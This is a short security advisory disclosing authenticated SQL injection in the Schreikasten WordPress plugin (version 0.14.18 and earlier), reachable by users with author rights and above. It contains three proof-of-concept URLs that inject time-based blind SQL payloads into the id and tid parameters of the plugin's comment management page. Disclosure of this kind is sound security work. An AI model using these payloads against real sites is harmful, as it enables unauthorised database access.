Schreikasten <= 0.14.18 - Author+ SQL Injections

Description

The plugin does not sanitise or escape the id GET parameter before using it in SQL statements in the comments dashboard from various actions, leading to authenticated SQL Injections which can be exploited by users as low as author

Proof of Concept

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=edit&text&paged=1&mode_x=delete_x&id=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode=tracking&text&paged=1&mode_x=delete_x&id=7&tid=6%20AND%20(SELECT%209304%20FROM%20(SELECT(SLEEP(5)))ghFg)

https://example.com/wp-admin/edit-comments.php?page=skmanage&mode&text&paged=1&mode_x=set_black_x&id=2%20AND%20(SELECT%20614%20 FROM (SELECT(SLEEP(5)))ewlo)